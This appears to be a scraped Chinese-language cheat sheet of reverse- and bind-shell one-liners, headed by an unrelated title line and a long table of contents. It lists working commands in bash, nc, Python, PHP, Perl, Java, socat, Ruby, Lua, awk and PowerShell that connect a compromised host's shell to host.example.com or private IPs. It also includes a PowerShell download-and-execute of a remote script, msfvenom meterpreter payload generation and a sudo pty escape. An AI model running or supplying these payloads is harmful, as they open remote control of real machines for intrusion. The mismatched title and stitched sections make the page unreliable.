黑龙江营商监督建设局网站小学生小发明小制作大全
反弹shell总结
- 讲在前面说的话:
 - 反弹shell总结
 - nc反弹shell
 - 正向shell
 - 反向shell
 - 正向shell(服务端被攻击):
 - 反向shell(客户端被攻击):
 
- 无nc反弹shell
 - python反弹shell
 - bash反弹shell
 - PHP反向shell
 - Perl反向shell
 - Java反弹shell
 - socat 反弹shell
 - Ruby反弹shell
 - Lua反弹shell
 - Awk 反弹shell
 - exec反弹shell
 - powershell反弹shell
 - 利用msf生成反弹shell
 
- kali综合渗透测试-常用代码
 - 各种反弹shell方法总结备忘
 - shell分为两种,一种是正向shell,另一种是反向shell。
 - (1)正向shell
 - (2)反向shell
 
- 4.在目标主机中没有nc时获得反向shell
 - (1)Python反向shell
 - (2)Bash反向shell
 - (3)PHP反向shell
 - (4)Perl反向shell
 - (5)Java脚本反弹shell
 - (6)socat 反弹shell
 - (7)Ruby反弹shell
 - (8)Lua反弹shell
 - (9)Awk反弹shell
 - (10)exec反弹shell
 - (11)nc反弹shell:
 - (12)powershell反弹shell
 - (13)从原生的 shell 环境切换到linux的交互式 bash 环境 通常我们nc获得的shell都是不完全shell,需要通过Python的pty转换为拥有完全命令行的完全shell,方便我们进行复制粘贴等操作。
 
- 【技术分享】linux各种一句话反弹shell总结
 - 简介
 - 一、场景一
 - 1.1 安装netcat
 - 1.2 开启本地监听
 - 1.3 直接连接目标主机
 
- 二、场景二
 - 2.1 bash 直接反弹
 - 2.2 netcat 工具反弹
 - 2.3 socat 反弹一句话
 - 2.4 其他脚本一句话shell反弹
 - 2.5 msfvenom 获取反弹一句话
 
- 三、场景三
 - 3.1 一句话添加账号
 - 3.2 python 标准虚拟终端获取
 
- 四、写在最后
 - 4.1 nc开启本地监听发布bash服务
 - 4.2 常用反弹shell一句话
 - 4.3 利用msfvenom获取反弹一句话
 - 4.4 使用python获取标准shell
 - 4.5 linux 一句话添加账户
 
- 学习参考
 
- 反弹SHELL汇总
 - Reverse Shell Cheat Sheet
 - Bash
 - PERL
 - Python
 - PHP
 - Ruby
 - Netcat
 - Java
 - xterm
 - Further Reading
 
- 几种常见反弹shell汇总
 - 0x01. bash
 - 0x02. nc(netcat)反弹
 - 0x03. telnet反弹
 - 常见脚本反弹
 - 1. python
 - 2. perl
 - 方法二:
 - 3. Ruby
 - 4. PHP
 - 5. Java
 - 6. Lua
 - 7. AWK 反弹
 
- Reference
 
- 10种反弹shell方式
 - 参考链接:
 - 10种反弹shell方式
 - 1. bash
 - 2. perl
 - 3. python
 - 4. php
 - 5. ruby
 - 6. nc
 - 7. java
 - 8. xterm
 - 9. exec
 - 10. 从原生的 shell 环境切换到 linux 的交互式 bash 环境
 
讲在前面说的话:
没有任何基础的 推荐 【技术分享】linux各种一句话反弹shell总结
反弹shell总结
nc反弹shell
正向shell
nc -lvp 1234 -e /bin/bash # linux  服务端(被攻击的主机)
 
nc -lvp 1234 -e c:\windows\system32\cmd.exe # windows 服务端(被攻击的主机)
 
nc host.example.com 1234 # linux 客户端
 
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l host.example.com 1234 > /tmp/f # linux  服务端(被攻击的主机)
 
nc host.example.com 1234 # 客户端
 
反向shell
nc -lvp 1234 # 服务端
 
nc host.example.com 1234 -e /bin/sh # linux 客户端 (被攻击的主机)
 
nc host.example.com 1234 -e c:\windows\system32\cmd.exe # windows 客户端 (被攻击的主机)
 
正向shell(服务端被攻击):
本地或vps将自己的shell传给服务器(端口监听在服务器上)
反向shell(客户端被攻击):
目标机器将shell主动传给本地或vps(端口监听在本地vps上)
无nc反弹shell
python反弹shell
nc -lvp 1234 # 服务端
 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("host.example.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
 
# 绕过限制sudo提权
sudo python -c "import pty;pty.spawn("/bin/bash")"
 
# 反弹shell后,显示当前用户信息
python -c "import pty; pty.spawn("/bin/bash")"
 
bash反弹shell
nc -lvp 1234 # 服务端
 
bash -i >& /dev/tcp/host.example.com/1234 0>&1 # 客户端 (被攻击的主机)
 
PHP反向shell
php -r '$sock=fsockopen("host.example.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
 
Perl反向shell
perl -e 'use Socket;$i="host.example.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"host.example.com:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
 
Java反弹shell
Runtime r = Runtime.getRuntime();
 
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/host.example.com/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"});
 
p.waitFor();
 
Runtime r = Runtime.getRuntime();
 
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/host.example.com/1234 0>&1"});
 
p.waitFor();
 
socat 反弹shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:host.example.com:1234
 
Ruby反弹shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 
ruby -rsocket -e 'c=TCPSocket.new("host.example.com","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
 
Lua反弹shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('host.example.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
 
Awk 反弹shell
awk 'BEGIN{s="/inet/tcp/0/host.example.com/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
 
exec反弹shell
exec 5<>/dev/tcp/host.example.com/1234 cat <&5 | while read line; do $line 2>&5 >&5; done
 
0<&196;exec 196<>/dev/tcp/host.example.com/1234; sh <&196>&196 2>&196
 
powershell反弹shell
apt-get install powshell
 
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress host.example.com -port 1234
 
利用msf生成反弹shell
Msfvenom生成一个反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=443 > shell443.php
 
利用模块
use exploit/multi/handler
 
msf生成一个war格式的反弹shell
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.5 lport=6666 -f war -o test.war
 
msfvenom生成一个payload,上传到目标,增加执行权限
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.212.6 LPORT=8888 -f elf > shell.elf
 
kali综合渗透测试-常用代码
命令执行漏洞反弹shell代码:
echo “bash -i >& /dev/tcp/192.168.56.102/6666 0>&1” | bash
 
burpsuite抓包修改用户名密码的数据包内容代入数据库执行,反弹shell语句
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1